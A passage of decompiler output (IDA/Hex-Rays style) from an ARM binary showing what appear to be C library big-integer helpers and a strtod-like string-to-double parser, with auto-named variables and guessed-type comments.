char v13; // r0@9
unsigned int v14; // r1@10
unsigned int v15; // r1@11
unsigned int v16; // r1@13
int v18; // [sp+4h] [bp-2Ch]@10
char v19; // [sp+14h] [bp-1Ch]@1

v2 = a1;
v19 = a2;
if ( (void *)a1 != (char *)off_1C644 + 116140 )
{
v3 = a2 >> 5;
v4 = *(_DWORD *)(a1 + 4);
v5 = *(_DWORD *)(v2 + 16) + 1 + (a2 >> 5);
for ( i = *(_DWORD *)(v2 + 8); v5 > i; i *= 2 )
++v4;
v7 = sub_1C184(v4);
v8 = (signed int)v7;
if ( v7 != (char *)off_1C648 + 116178 )
{
v9 = (int)(v7 + 20);
for ( j = 0; j < (signed int)v3; ++j )
{
*(_DWORD *)v9 = 0;
v9 += 4;
}
v11 = v2 + 20;
v12 = v2 + 4 * (*(_DWORD *)(v2 + 16) + 4) + 4;
v13 = v19 & 0x1F;
if ( v19 & 0x1F )
{
v14 = 0;
v18 = v2 + 4 * (*(_DWORD *)(v2 + 16) + 4) + 4;
do
{
*(_DWORD *)v9 = v14 | (*(_DWORD *)v11 << v13);
v9 += 4;
v15 = *(_DWORD *)v11;
v11 += 4;
v14 = v15 >> (32 - v13);
}
while ( v11 < (unsigned int)v18 );
*(_DWORD *)v9 = v14;
v5 += (__PAIR__(v14, v14) - __PAIR__(v14 - 1, 1)) >> 32;
}
else
{
do
{
v16 = *(_DWORD *)v11;
v11 += 4;
*(_DWORD *)v9 = v16;
v9 += 4;
}
while ( v11 < (unsigned int)v12 );
}
*(_DWORD *)(v8 + 16) = v5 - 1;
}
sub_1C570(v2);
v2 = v8;
}
return v2;
}
// 1C644: using guessed type void *off_1C644;
// 1C648: using guessed type void *off_1C648;

//----- (0001C64C) --------------------------------------------------------
signed int __fastcall sub_1C64C(signed int *a1, signed int a2)
{
signed int *v2; // r5@1
signed int result; // r0@1
int v4; // r3@1
signed int v5; // r4@1

v2 = a1;
result = *a1;
v4 = (int)((char *)off_1C678 + 116312);
v5 = a2;
if ( (void *)result != (char *)off_1C678 + 116312 )
{
if ( a2 == v4 )
{
result = sub_1C570(result);
*v2 = v5;
}
else
{
result += 12;
sub_DE6C(result, a2 + 12, 4 * (*(_DWORD *)(a2 + 16) + 2), v4);
}
}
return result;
}
// 1C678: using guessed type void *off_1C678;

//----- (0001C67C) --------------------------------------------------------
signed int __fastcall sub_1C67C(signed int a1, int a2, int a3)
{
signed int v3; // r4@1
int v4; // r6@1
int v5; // r7@2
int v6; // r2@2
int v7; // r3@2
unsigned __int64 v8; // kr00_8@3
char *v9; // r0@6
signed int v10; // r5@6

v3 = a1;
v4 = a3;
if ( (void *)a1 != (char *)off_1C714 + 116360 )
{
v5 = *(_DWORD *)(a1 + 16);
v6 = a1 + 20;
v7 = 0;
do
{
++v7;
v8 = (unsigned __int64)(v4 + (*(_DWORD *)v6 & 0xFFFFu) * a2) << 16;
v4 = (unsigned __int64)(unsigned int)((*(_DWORD *)v6 >> 16) * a2 + HIDWORD(v8)) >> 16;
*(_DWORD *)v6 = (((*(_DWORD *)v6 >> 16) * a2 + HIDWORD(v8)) << 16) + ((unsigned int)v8 >> 16);
v6 += 4;
}
while ( v7 < v5 );
if ( v4 )
{
if ( v5 >= *(_DWORD *)(a1 + 8) )
{
v9 = sub_1C184(*(_DWORD *)(a1 + 4) + 1);
v10 = (signed int)v9;
if ( v9 == (char *)off_1C718 + 116446 )
{
sub_1C570(v3);
return v10;
}
sub_DE6C((int)(v9 + 12), v3 + 12, 4 * (*(_DWORD *)(v3 + 16) + 2), (int)((char *)off_1C718 + 116446));
sub_1C570(v3);
v3 = v10;
}
*(_DWORD *)(v3 + 4 * (v5 + 4) + 4) = v4;
*(_DWORD *)(v3 + 16) = v5 + 1;
return v3;
}
}
return v3;
}
// 1C714: using guessed type void *off_1C714;
// 1C718: using guessed type void *off_1C718;

//----- (0001C71C) --------------------------------------------------------
int __fastcall sub_1C71C(signed int a1, unsigned int a2)
{
signed int v2; // r5@1
unsigned int v3; // r7@1
unsigned int v4; // r7@4
char *v5; // r6@5
int v6; // r4@5
int v7; // r0@7
char *v8; // r6@10
char *v9; // ST04_4@12
char *v10; // r0@15

v2 = a1;
v3 = a2;
if ( (void *)a1 != (char *)off_1C7D4 + 116520 )
{
if ( a2 & 3 )
v2 = sub_1C67C(a1, *(_DWORD *)((char *)off_1C7D8 + 4 * ((a2 & 3) - 1) + 116542), 0);
v4 = v3 >> 2;
if ( v4 )
{
v5 = (char *)off_1C7DC + 116564;
v6 = *((_DWORD *)off_1C7DC + 29164);
if ( !v6 )
{
v6 = (int)sub_1C184(1);
if ( (char *)v6 == v5 )
{
sub_1C570(v2);
return v6;
}
v7 = dword_1C7E0;
*((_DWORD *)v5 + 23) = v6;
*(_DWORD *)(v6 + 20) = v7;
*(_DWORD *)(v6 + 16) = 1;
*(_DWORD *)v6 = 0;
}
v8 = (char *)off_1C7E4 + 116616;
while ( 1 )
{
if ( v4 & 1 )
{
v9 = sub_1C298(v2, v6);
sub_1C570(v2);
v2 = (signed int)v9;
}
v4 >>= 1;
if ( !v4 )
break;
if ( *(_DWORD *)v6 )
{
v6 = *(_DWORD *)v6;
}
else
{
v10 = sub_1C298(v6, v6);
if ( v10 == v8 )
{
sub_1C570(v2);
return (int)v8;
}
*(_DWORD *)v6 = v10;
*(_DWORD *)v10 = 0;
v6 = (int)v10;
}
}
}
}
return v2;
}
// 1C7D4: using guessed type void *off_1C7D4;
// 1C7D8: using guessed type void *off_1C7D8;
// 1C7DC: using guessed type void *off_1C7DC;
// 1C7E0: using guessed type int dword_1C7E0;
// 1C7E4: using guessed type void *off_1C7E4;

//----- (0001D5AC) --------------------------------------------------------
char *__fastcall sub_1D5AC(int a1, signed int a2, signed int a3, int a4)
{
int v4; // r4@1
signed int v5; // r5@1
signed int v6; // r7@1
int v7; // r6@1
int v8; // r0@1
int v9; // r3@1
signed int v10; // r2@1
char *result; // r0@4
int v12; // r6@6
int v13; // r4@6
int v14; // r2@7
int v15; // r6@8
signed int v16; // r4@8
int v17; // r6@10
int v18; // r2@11
int v19; // [sp+4h] [bp-1Ch]@6

v4 = a1;
v5 = a2;
v6 = a3;
v7 = a4;
v8 = sub_E9E0(a3 + 8, 9u);
v9 = 0;
v10 = 1;
while ( v8 > v10 )
{
v10 *= 2;
++v9;
}
result = sub_1C184(v9);
if ( result != (char *)off_1D62C + 120284 )
{
*((_DWORD *)result + 5) = v7;
*((_DWORD *)result + 4) = 1;
if ( v5 <= 9 )
{
v15 = v4 + 10;
v16 = 9;
}
else
{
v12 = v4 + 9;
v19 = v4 + v5;
v13 = v4 + 9;
do
{
v14 = *(_BYTE *)v13++;
result = (char *)sub_1C67C((signed int)result, 10, v14 - 48);
}
while ( v13 != v19 );
v15 = v12 + v5 - 8;
v16 = v5;
}
v17 = v15 - v16;
while ( v16 < v6 )
{
v18 = *(_BYTE *)(v17 + v16++);
result = (char *)sub_1C67C((signed int)result, 10, v18 - 48);
}
}
return result;
}
// 1D62C: using guessed type void *off_1D62C;

//----- (0001D634) --------------------------------------------------------
int __fastcall sub_1D634(int a1, int a2)
{
int i; // r4@1
signed int v3; // r2@3
signed int v4; // r5@8
int v5; // r3@9
int v6; // r5@11
int v7; // r3@16
int v8; // r2@17
int v9; // r6@24
signed int j; // r3@24
signed int v11; // r7@30
int v12; // r1@32
signed int v13; // r5@32
int v14; // r2@33
int v15; // r2@35
int v16; // r0@36
int v17; // r0@37
int v18; // r12@44
signed int k; // r7@45
int v20; // r4@51
int v21; // r7@64
signed int v22; // r7@66
signed int l; // r7@72
signed int v24; // r7@79
signed int v25; // r7@92
__int64 v26; // r0@94
__int64 v27; // ST08_8@95
int v28; // r1@95
__int64 v29; // r0@95
int v30; // r1@95
char *v31; // r5@100
int v32; // r2@100
unsigned int v33; // r3@100
__int64 v34; // r0@100
int v35; // r6@101
char *v36; // r7@102
int v37; // r5@102
int v38; // r0@103
int v39; // r6@107
int v40; // r1@109
unsigned int v41; // r6@110
char *v42; // r6@112
signed int v43; // r5@112
int v44; // r0@113
int v45; // r2@113
unsigned int v46; // r6@115
__int64 v47; // r0@116
char *v48; // r7@116
unsigned int v49; // r1@121
signed int v50; // r3@123
int v51; // r6@126
__int64 v52; // r0@127
unsigned int v53; // r6@128
__int64 v54; // r0@130
unsigned int v55; // r7@130
__int64 v56; // r6@135
__int64 v57; // r0@135
int v58; // r0@135
int v59; // r0@136
unsigned int v60; // r1@136
int v61; // r0@136
unsigned int v62; // r1@136
int v63; // r0@136
unsigned int v64; // r7@146
int v65; // r2@146
unsigned int v66; // r1@146
int v67; // r3@146
int v68; // r5@151
unsigned int v69; // r4@153
unsigned int v70; // r5@153
int v71; // r2@153
char *v72; // ST28_4@160
char *v73; // r0@169
char *v74; // r3@169
int v75; // r2@171
char *v76; // r4@172
int v77; // r0@172
int v78; // r4@172
int v79; // r3@172
int v80; // r2@172
signed int v81; // r0@182
int v82; // r0@183
int v83; // r2@183
int v84; // r2@184
int v85; // r3@184
int v86; // r2@184
signed int v87; // r3@194
__int64 v88; // r0@201
signed int v89; // r0@202
int v90; // r1@202
unsigned int v91; // r0@202
unsigned int v92; // r1@202
int v93; // r0@202
unsigned int v94; // r0@204
unsigned int v95; // r1@204
int v96; // r0@204
int v97; // r4@206
signed int v98; // r7@206
int v99; // r0@209
signed int v100; // r1@214
signed int v101; // r1@216
int v102; // r0@222
unsigned int v103; // r1@222
__int64 v104; // r0@222
unsigned int v105; // r1@222
int v106; // r0@228
int v107; // r0@229
int v108; // r1@229
int v109; // r0@229
unsigned int v110; // r1@229
int v111; // r0@231
unsigned int v112; // r1@231
__int64 v113; // r0@231
int v114; // r1@231
int v115; // r0@233
int v116; // r0@233
int v117; // r1@233
unsigned int v118; // r0@233
unsigned int v119; // r1@233
int v120; // r0@236
int v121; // r0@237
int v123; // [sp+0h] [bp-78h]@32
unsigned int v124; // [sp+0h] [bp-78h]@157
unsigned int v125; // [sp+0h] [bp-78h]@204
unsigned int v126; // [sp+0h] [bp-78h]@215
unsigned int v127; // [sp+0h] [bp-78h]@233
unsigned int v128; // [sp+4h] [bp-74h]@204
signed int v129; // [sp+4h] [bp-74h]@233
signed int v130; // [sp+8h] [bp-70h]@20
int v131; // [sp+8h] [bp-70h]@116
int v132; // [sp+8h] [bp-70h]@130
int v133; // [sp+8h] [bp-70h]@135
int v134; // [sp+8h] [bp-70h]@142
unsigned int v135; // [sp+Ch] [bp-6Ch]@135
int v136; // [sp+14h] [bp-64h]@1
signed int v137; // [sp+14h] [bp-64h]@68
int v138; // [sp+14h] [bp-64h]@75
int v139; // [sp+14h] [bp-64h]@90
signed int v140; // [sp+18h] [bp-60h]@68
char *v141; // [sp+18h] [bp-60h]@130
__int64 v142; // [sp+18h] [bp-60h]@143
int v143; // [sp+20h] [bp-58h]@24
char *v144; // [sp+20h] [bp-58h]@112
int v145; // [sp+24h] [bp-54h]@75
int v146; // [sp+24h] [bp-54h]@77
signed int v147; // [sp+24h] [bp-54h]@112
signed int v148; // [sp+28h] [bp-50h]@90
int v149; // [sp+28h] [bp-50h]@169
int v150; // [sp+2Ch] [bp-4Ch]@206
int v151; // [sp+30h] [bp-48h]@221
char *v152; // [sp+38h] [bp-40h]@142
int v153; // [sp+3Ch] [bp-3Ch]@1
__int64 v154; // [sp+48h] [bp-30h]@1
char *v155; // [sp+54h] [bp-24h]@1
int v156; // [sp+58h] [bp-20h]@143
int v157; // [sp+5Ch] [bp-1Ch]@143

v136 = a1;
v153 = a2;
v155 = 0;
LODWORD(v154) = dword_1D904;
for ( i = a1; ; ++i )
{
v3 = *(_BYTE *)i;
if ( !(*(_BYTE *)(**(_DWORD **)((char *)off_1D914 + dword_1D918 + 120386) + v3 + 1) & 8) )
break;
}
if ( v3 == 45 )
{
++i;
}
else if ( v3 == 43 )
{
++i;
}
v4 = *(_BYTE *)i;
if ( !*(_BYTE *)i )
goto LABEL_243;
v5 = *(_WORD *)(2 * (v4 + 1) + **(_DWORD **)((char *)off_1D914 + dword_1D91C + 120386));
if ( v5 == 105 )
{
if ( !sub_1E61C(i, (int)((char *)off_1D920 + 120482), 3) )
{
v6 = i + 3;
if ( !sub_1E61C(i + 3, (int)(off_1D924 + 120498), 5) )
v6 = i + 8;
LODWORD(v154) = dword_1D90C;
i = v6;
goto LABEL_244;
}
goto LABEL_20;
}
if ( v5 != 110 || sub_1E61C(i, (int)(off_1D928 + 120536), 3) )
{
LABEL_20:
v130 = 0;
if ( v4 == 48 )
{
do
++i;
while ( *(_BYTE *)i == 48 );
if ( !*(_BYTE *)i )
goto LABEL_244;
v130 = 1;
}
v9 = 0;
v143 = 0;
for ( j = 0; ; ++j )
{
v11 = *(_BYTE *)(i + j);
if ( v11 <= 47 )
break;
if ( v11 > 57 )
{
v12 = i + j;
v123 = i;
v13 = j;
goto LABEL_35;
}
if ( j > 8 )
{
if ( j <= 15 )
v9 = v11 - 48 + 10 * v9;
}
else
{
v143 = v11 - 48 + 10 * v143;
}
}
v13 = j;
v14 = i + j;
if ( v11 == 46 )
{
v12 = v14 + 1;
v11 = *(_BYTE *)(v14 + 1);
v17 = i + j;
if ( j )
{
v123 = i;
v13 = j;
v15 = 0;
v16 = 0;
while ( (unsigned int)(v11 - 48) <= 9 )
{
LABEL_44:
++v15;
v18 = v11 - 48;
if ( v11 != 48 )
{
v16 += v15;
for ( k = 1; ; ++k )
{
v20 = v13 + 1;
if ( k >= v15 )
break;
++v13;
if ( v20 - 1 > 8 )
{
if ( v13 <= 16 )
v9 *= 10;
}
else
{
v143 *= 10;
}
}
if ( v13 > 8 )
{
if ( v20 <= 16 )
v9 = 10 * v9 + v18;
}
else
{
v143 = 10 * v143 + v18;
}
++v13;
v15 = 0;
}
++v12;
v11 = *(_BYTE *)v12;
}
LABEL_59:
if ( v11 != 69 )
{
i = v12;
if ( v11 != 101 )
goto LABEL_77;
}
if ( !v13 && !v15 && !v130 )
goto LABEL_243;
v21 = *(_BYTE *)(v12 + 1);
i = v12 + 1;
if ( v21 == 43 )
{
v22 = 0;
}
else
{
if ( v21 != 45 )
{
v137 = *(_BYTE *)(v12 + 1);
v140 = 0;
goto LABEL_70;
}
v22 = 1;
}
v140 = v22;
i = v12 + 2;
v137 = *(_BYTE *)(v12 + 2);
LABEL_70:
if ( (unsigned int)(v137 - 48) <= 9 )
{
for ( l = v137; l == 48; l = *(_BYTE *)i )
++i;
v145 = i;
v138 = l - 48;
if ( (unsigned int)(l - 49) <= 8 )
{
while ( 1 )
{
++i;
v24 = *(_BYTE *)i;
if ( v24 <= 47 || v24 > 57 )
break;
v138 = v24 - 48 + 10 * v138;
}
if ( i - v145 > 8 || (v146 = v138, v138 > dword_1D930) )
v146 = dword_1D930;
v136 = v12;
if ( v140 )
v146 = -v146;
LABEL_86:
if ( !v13 )
{
if ( v15 || v130 )
goto LABEL_244;
LABEL_243:
i = v136;
goto LABEL_244;
}
v139 = v146 - v16;
v148 = j;
if ( !j )
v148 = v13;
v25 = v13;
if ( v13 > 16 )
v25 = 16;
LODWORD(v26) = sub_ED90(v143);
v154 = v26;
if ( v25 > 9 )
{
LODWORD(v27) = sub_EE90(
v26,
HIDWORD(v26),
*(_DWORD *)((char *)off_1DC54 + 8 * (v25 - 9) + 121202),
*(_DWORD *)((char *)off_1DC54 + 8 * (v25 - 9) + 121206));
HIDWORD(v27) = v28;
LODWORD(v29) = sub_ED90(v9);
LODWORD(v154) = sub_EAE4(v27, v29);
HIDWORD(v154) = v30;
}
if ( v13 <= 15 )
{
if ( !v139 )
goto LABEL_244;
if ( v139 <= 0 )
{
if ( !((v139 + 22 < 0) ^ __OFADD__(v139, 22)) )
{
sub_F0FC(
v154,
SHIDWORD(v154),
*(_DWORD *)((char *)off_1DC60 + -8 * v139 + 121346),
*(_DWORD *)((char *)off_1DC60 + -8 * v139 + 121350));
goto LABEL_106;
}
}
else
{
if ( v139 <= 22 )
{
v31 = (char *)off_1DC58 + 8 * v139 + 121250;
v32 = *((_DWORD *)v31 + 4);
v33 = *((_DWORD *)v31 + 5);
v34 = v154;
LABEL_103:
v38 = sub_EE90(v34, HIDWORD(v34), v32, v33);
LABEL_106:
LODWORD(v154) = v38;
goto LABEL_244;
}
v35 = 15 - v13;
if ( v139 <= 37 - v13 )
{
v36 = (char *)off_1DC5C + 121282;
LODWORD(v34) = sub_EE90(
v154,
HIDWORD(v154),
*(_DWORD *)((char *)off_1DC5C + 8 * v35 + 121298),
*(_DWORD *)((char *)off_1DC5C + 8 * v35 + 121302));
v37 = (int)&v36[8 * (v139 - v35)];
v32 = *(_DWORD *)(v37 + 16);
v33 = *(_DWORD *)(v37 + 20);
goto LABEL_103;
}
}
}
v39 = v13 - v25 + v139;
if ( v39 <= 0 )
{
if ( !v39 )
goto LABEL_142;
v51 = -v39;
if ( v51 & 0xF )
{
sub_F0FC(
v154,
SHIDWORD(v154),
*(_DWORD *)((char *)off_1DC84 + 8 * (v51 & 0xF) + 121606),
*(_DWORD *)((char *)off_1DC84 + 8 * (v51 & 0xF) + 121610));
v154 = v52;
}
v53 = v51 & 0xFFFFFFF0;
if ( !v53 )
goto LABEL_142;
if ( (signed int)(v53 >> 4) > 31 )
goto LABEL_251;
v141 = (char *)off_1DC88 + 121744;
v132 = 0;
v54 = v154;
v55 = v53 >> 4;
while ( (signed int)v55 > 1 )
{
if ( v55 & 1 )
LODWORD(v54) = sub_EE90(v54, HIDWORD(v54), *(_DWORD *)v141, *((_DWORD *)v141 + 1));
v55 >>= 1;
++v132;
v141 += 8;
}
v56 = v54;
LODWORD(v54) = (char *)off_1DC8C + 8 * v132 + 121692;
v133 = *(_DWORD *)(v54 + 112);
v135 = *(_DWORD *)(v54 + 116);
LODWORD(v57) = sub_EE90(v56, HIDWORD(v54), *(_DWORD *)(v54 + 112), *(_DWORD *)(v54 + 116));
v154 = v57;
sub_F3C8(v57, HIDWORD(v57), dword_1DC4C, dword_1DC50);
if ( !v58 )
goto LABEL_142;
v59 = sub_EAE4(v56, v56);
v61 = sub_EE90(v59, v60, v133, v135);
sub_F3C8(v61, v62, dword_1DC4C, dword_1DC50);
if ( v63 )
{
LABEL_251:
v42 = 0;
v43 = 0;
v144 = 0;
v147 = 0;
goto LABEL_138;
}
HIDWORD(v154) = 0;
v50 = 1;
}
else
{
if ( v39 & 0xF )
{
LODWORD(v154) = sub_EE90(
v154,
HIDWORD(v154),
*(_DWORD *)((char *)off_1DC64 + 8 * (v39 & 0xF) + 121390),
*(_DWORD *)((char *)off_1DC64 + 8 * (v39 & 0xF) + 121394));
HIDWORD(v154) = v40;
}
v41 = v39 & 0xFFFFFFF0;
if ( !v41 )
goto LABEL_142;
if ( (signed int)v41 > 308 )
{
LABEL_112:
v42 = 0;
v43 = 0;
v144 = 0;
v147 = 0;
goto LABEL_113;
}
v46 = v41 >> 4;
if ( !v46 )
goto LABEL_142;
v47 = v154;
v48 = (char *)off_1DC68 + 121532;
v131 = 0;
while ( (signed int)v46 > 1 )
{
if ( v46 & 1 )
LODWORD(v47) = sub_EE90(v47, HIDWORD(v47), *(_DWORD *)v48, *((_DWORD *)v48 + 1));
v46 >>= 1;
v48 += 8;
++v131;
}
LODWORD(v154) = sub_EE90(
v47,
HIDWORD(v47) + dword_1DC6C,
*(_DWORD *)((char *)off_1DC70 + 8 * v131 + 121586),
*(_DWORD *)((char *)off_1DC70 + 8 * v131 + 121590));
if ( (dword_1DC74 & v49) > dword_1DC78 )
goto LABEL_112;
if ( (dword_1DC74 & v49) <= dword_1DC7C )
{
HIDWORD(v154) = v49 + 55574528;
LABEL_142:
v147 = (signed int)sub_1D5AC(v123, v148, v13, v143);
v134 = i;
v152 = (char *)off_1DC90 + 121828;
while ( 1 )
{
v155 = sub_1C184(*(_DWORD *)(v147 + 4));
sub_1C64C((signed int *)&v155, v147);
v142 = v154;
v144 = sub_1C1D8(v154, SHIDWORD(v154), (int)&v157, (int)&v156);
v42 = sub_1C184(1);
if ( v42 != v152 )
{
*((_DWORD *)v42 + 5) = 1;
*((_DWORD *)v42 + 4) = 1;
}
if ( v139 < 0 )
{
v64 = 0;
v65 = 0;
v66 = -v139;
v67 = -v139;
}
else
{
v64 = v139;
v65 = v139;
v66 = 0;
v67 = 0;
}
if ( v157 < 0 )
v65 -= v157;
else
v67 += v157;
v68 = v157 + dword_1DFB4;
if ( v156 + v157 >= dword_1DFB8 )
v68 = 54 - v156;
v69 = v68 + v67;
v70 = v68 + v65;
v71 = v69;
if ( (signed int)v69 > (signed int)v70 )
v71 = v70;
if ( v71 > v67 )
v71 = v67;
v124 = v67;
if ( v71 > 0 )
{
v69 -= v71;
v70 -= v71;
v124 = v67 - v71;
}
if ( v66 )
{
v42 = (char *)sub_1C71C((signed int)v42, v66);
v72 = sub_1C298((int)v42, (int)v144);
sub_1C570((signed int)v144);
v144 = v72;
}
if ( (signed int)v69 > 0 )
v144 = (char *)sub_1C5A0((signed int)v144, v69);
if ( v64 )
v155 = (char *)sub_1C71C((signed int)v155, v64);
if ( (signed int)v70 > 0 )
v155 = (char *)sub_1C5A0((signed int)v155, v70);
if ( (signed int)v124 > 0 )
v42 = (char *)sub_1C5A0((signed int)v42, v124);
v73 = sub_1C400((int)v144, (int)v155);
v74 = (char *)off_1DFBC + 122162;
v43 = (signed int)v73;
v149 = *((_DWORD *)v73 + 3);
*((_DWORD *)v73 + 3) = 0;
if ( v73 == v74 || v42 == v74 )
{
LABEL_247:
i = v134;
if ( v149 )
{
if ( (HIDWORD(v154) & 0xFFFFF) == dword_1DFC4 && (_DWORD)v154 == -1 )
{
v87 = 0;
goto LABEL_198;
}
}
else if ( !(HIDWORD(v154) << 12) && !(_DWORD)v154 )
{
goto LABEL_197;
}
if ( !(v154 & 1) )
goto LABEL_242;
if ( v149 )
{
LODWORD(v88) = sub_1BE7C(v154, SHIDWORD(v154));
LODWORD(v154) = sub_EAE4(v154, v88);
goto LABEL_242;
}
v89 = sub_1BE7C(v154, SHIDWORD(v154));
v91 = sub_EAE0(v154, HIDWORD(v154), v89, v90);
LODWORD(v154) = v91;
sub_F3C8(v91, v92, dword_1DF94, dword_1DF98);
if ( !v93 )
goto LABEL_242;
LABEL_138:
LODWORD(v154) = dword_1DC4C;
*(_DWORD *)sub_1FD74() = 34;
if ( v147 )
goto LABEL_242;
goto LABEL_244;
}
v75 = *((_DWORD *)v42 + 4);
if ( *((_DWORD *)v73 + 4) == v75 )
{
v76 = v73;
v77 = 4 * (v75 + 4);
v78 = (int)(v76 + 20);
v79 = v43 + v77 + 4;
v80 = (int)&v42[v77 + 4];
while ( 1 )
{
v79 -= 4;
v80 -= 4;
if ( *(_DWORD *)v79 != *(_DWORD *)v80 )
break;
if ( v79 <= (unsigned int)v78 )
goto LABEL_247;
}
if ( *(_DWORD *)v79 < *(_DWORD *)v80 )
{
LABEL_179:
i = v134;
if ( v149 )
goto LABEL_242;
if ( (_DWORD)v154 )
goto LABEL_242;
if ( HIDWORD(v154) << 12 )
goto LABEL_242;
v81 = sub_1C5A0(v43, 1u);
v43 = v81;
if ( (void *)v81 == (char *)off_1DFC0 + 122278 )
goto LABEL_242;
v82 = *(_DWORD *)(v81 + 16);
v83 = *((_DWORD *)v42 + 4);
if ( v82 == v83 )
{
v84 = 4 * (v83 + 4);
v85 = v43 + v84 + 4;
v86 = (int)&v42[v84 + 4];
while ( 1 )
{
v85 -= 4;
v86 -= 4;
if ( *(_DWORD *)v85 != *(_DWORD *)v86 )
break;
if ( v85 <= (unsigned int)(v43 + 20) )
goto LABEL_242;
}
if ( *(_DWORD *)v85 >= *(_DWORD *)v86 )
goto LABEL_197;
LABEL_242:
sub_1C570((signed int)v144);
sub_1C570((signed int)v155);
sub_1C570((signed int)v42);
sub_1C570(v147);
sub_1C570(v43);
goto LABEL_244;
}
if ( v82 - v83 <= 0 )
goto LABEL_242;
LABEL_197:
v87 = -1;
LABEL_198:
LODWORD(v154) = v87;
goto LABEL_242;
}
}
else if ( *((_DWORD *)v73 + 4) - v75 < 0 )
{
goto LABEL_179;
}
sub_1BF74(v43, v42);
v125 = v94;
v128 = v95;
sub_F3F0(v94, v95, dword_1DF9C, dword_1DFA0);
if ( v96 )
{
if ( v149 )
{
v97 = 0;
v150 = 0;
v98 = dword_1DFD0;
LABEL_218:
v126 = v98;
goto LABEL_221;
}
if ( (_DWORD)v154 )
{
if ( v154 == 1 )
{
i = v134;
goto LABEL_138;
}
LABEL_220:
v150 = 0;
v126 = dword_1DFD8;
v98 = dword_1DFD0;
v97 = 0;
goto LABEL_221;
}
if ( HIDWORD(v154) << 12 )
goto LABEL_220;
sub_F3DC(v125, v128, dword_1DFA4, dword_1DFA8);
if ( v99 )
{
v97 = 0;
v98 = dword_1DFD4;
}
else
{
v97 = sub_EE90(v125, v128, dword_1DFAC, dword_1DFB0);
v98 = v100;
}
v150 = v97;
v126 = v98 + 2147483648;
}
else
{
v97 = sub_EE90(v125, v128, dword_1DFAC, dword_1DFB0);
v98 = v101;
if ( v149 )
{
v150 = v97;
goto LABEL_218;
}
v150 = v97;
v126 = v101 + 2147483648;
}
LABEL_221:
v151 = dword_1DFC8 & HIDWORD(v154);
if ( (dword_1DFC8 & HIDWORD(v154)) != dword_1DFDC )
{
if ( (unsigned int)v151 <= 0x3400000 )
{
sub_F404(v97, v98, dword_1E134, dword_1E138);
if ( v106 )
{
v107 = sub_EAE4(__PAIR__(v98, v97), qword_1E13C);
v109 = sub_F42C(v107, v108);
v150 = sub_EDB4(v109);
v126 = v110;
if ( !v149 )
v126 = v110 + 2147483648;
}
}
v111 = sub_1BE7C(v154, SHIDWORD(v154));
LODWORD(v113) = sub_EE90(v150, v126, v111, v112);
LODWORD(v154) = sub_EAE4(v154, v113);
HIDWORD(v154) = v114;
goto LABEL_232;
}
HIDWORD(v154) += dword_1DFE0;
v102 = sub_1BE7C(v154, SHIDWORD(v154));
LODWORD(v104) = sub_EE90(v150, v126, v102, v103);
LODWORD(v154) = sub_EAE4(v154, v104);
if ( (dword_1DFC8 & v105) <= dword_1DFE4 )
{
HIDWORD(v154) = v105 + 55574528;
LABEL_232:
if ( v151 == (dword_1E15C & HIDWORD(v154)) )
{
v115 = sub_F42C(v97, v98);
v116 = sub_EDB4(v115);
v118 = sub_EAE0(v97, v98, v116, v117);
v127 = v118;
v129 = v119;
if ( v149 || (_DWORD)v154 || HIDWORD(v154) << 12 )
{
sub_F3DC(v118, v119, dword_1E144, dword_1E148);
if ( v120 )
goto LABEL_241;
sub_F418(v127, v129, dword_1E14C, dword_1E150);
}
else
{
sub_F3DC(v118, v119, dword_1E154, dword_1E158);
}
if ( v121 )
{
LABEL_241:
i = v134;
goto LABEL_242;
}
}
goto LABEL_240;
}
if ( v142 == __PAIR__(dword_1DFE8, -1) )
{
i = v134;
LABEL_113:
v44 = sub_1FD74();
v45 = dword_1DC44;
*(_DWORD *)v44 = 34;
LODWORD(v154) = v45;
if ( v147 )
goto LABEL_242;
goto LABEL_244;
}
HIDWORD(v154) = dword_1DFE8;
LODWORD(v154) = -1;
LABEL_240:
sub_1C570((signed int)v144);
sub_1C570((signed int)v155);
sub_1C570((signed int)v42);
sub_1C570(v43);
}
}
v50 = -1;
HIDWORD(v154) = dword_1DC80;
}
LODWORD(v154) = v50;
goto LABEL_142;
}
v136 = v12;
}
else
{
i = v12;
v136 = v12;
}
LABEL_77:
v146 = 0;
goto LABEL_86;
}
while ( 1 )
{
++v17;
if ( v11 != 48 )
break;
v11 = *(_BYTE *)(v17 + 1);
}
v12 = v17;
v15 = v17 - 1 - v14;
if ( (unsigned int)(v11 - 49) <= 8 )
{
v16 = v15;
v123 = v12;
v15 = 0;
goto LABEL_44;
}
j = 0;
v123 = i;
}
else
{
v123 = i;
v12 = i + j;
LABEL_35:
v15 = 0;
}
v16 = 0;
goto LABEL_59;
}
i += 3;
LODWORD(v154) = 0;
v7 = i + 1;
if ( *(_BYTE *)i != 40 )
goto LABEL_244;
do
{
v8 = *(_BYTE *)v7;
if ( !*(_BYTE *)v7 )
goto LABEL_244;
++v7;
}
while ( v8 != 41 );
i = v7;
LABEL_244:
if ( v153 )
*(_DWORD *)v153 = i;
return v154;
}
// EAE0: using guessed type int __fastcall sub_EAE0(_DWORD, _DWORD, _DWORD, _DWORD);
// 1D904: using guessed type int dword_1D904;
// 1D90C: using guessed type int dword_1D90C;
// 1D914: using guessed type void *off_1D914;
// 1D918: using guessed type int dword_1D918;
// 1D91C: using guessed type int dword_1D91C;
// 1D920: using guessed type void *off_1D920;
// 1D924: using guessed type char *off_1D924;
// 1D928: using guessed type char *off_1D928;
// 1D930: using guessed type int dword_1D930;
// 1DC44: using guessed type int dword_1DC44;
// 1DC4C: using guessed type int dword_1DC4C;
// 1DC50: using guessed type int dword_1DC50;
// 1DC54: using guessed type void *off_1DC54;
// 1DC58: using guessed type void *off_1DC58;
// 1DC5C: using guessed type void *off_1DC5C;
// 1DC60: using guessed type void *off_1DC60;
// 1DC64: using guessed type void *off_1DC64;
// 1DC68: using guessed type void *off_1DC68;
// 1DC6C: using guessed type int dword_1DC6C;
// 1DC70: using guessed type void *off_1DC70;
// 1DC74: using guessed type int dword_1DC74;
// 1DC78: using guessed type int dword_1DC78;
// 1DC7C: using guessed type int dword_1DC7C;
// 1DC80: using guessed type int dword_1DC80;
// 1DC84: using guessed type void *off_1DC84;
// 1DC88: using guessed type void *off_1DC88;
// 1DC8C: using guessed type void *off_1DC8C;
// 1DC90: using guessed type void *off_1DC90;
// 1DF94: using guessed type int dword_1DF94;
// 1DF98: using guessed type int dword_1DF98;
// 1DF9C: using guessed type int dword_1DF9C;
// 1DFA0: using guessed type int dword_1DFA0;
// 1DFA4: using guessed type int dword_1DFA4;
